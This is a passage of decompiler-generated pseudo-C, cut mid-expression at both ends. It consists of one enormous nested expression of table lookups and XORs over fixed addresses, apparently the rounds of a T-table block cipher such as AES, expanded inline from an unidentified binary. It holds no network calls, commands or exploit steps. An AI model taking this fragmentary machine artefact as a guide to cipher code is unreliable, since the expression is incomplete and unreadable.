*(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x18) * 4) ^  *(0x413dc8 + (_t224 & 0x000000ff) * 4) ^ _t242[2]) >> 0x18) * 4) ^  *(0x413dc8 + (_t158 & 0x000000ff) * 4) ^ _t242[3]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t229 >> 0x18) * 4) ^  *(0x413dc8 + (_t229 & 0x000000ff) * 4) ^ _t242[4]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x18) * 4) ^  *(0x413dc8 + (_t224 & 0x000000ff) * 4) ^ _t242[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x18) * 4) ^  *(0x413dc8 + (_t224 & 0x000000ff) * 4) ^ _t242[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 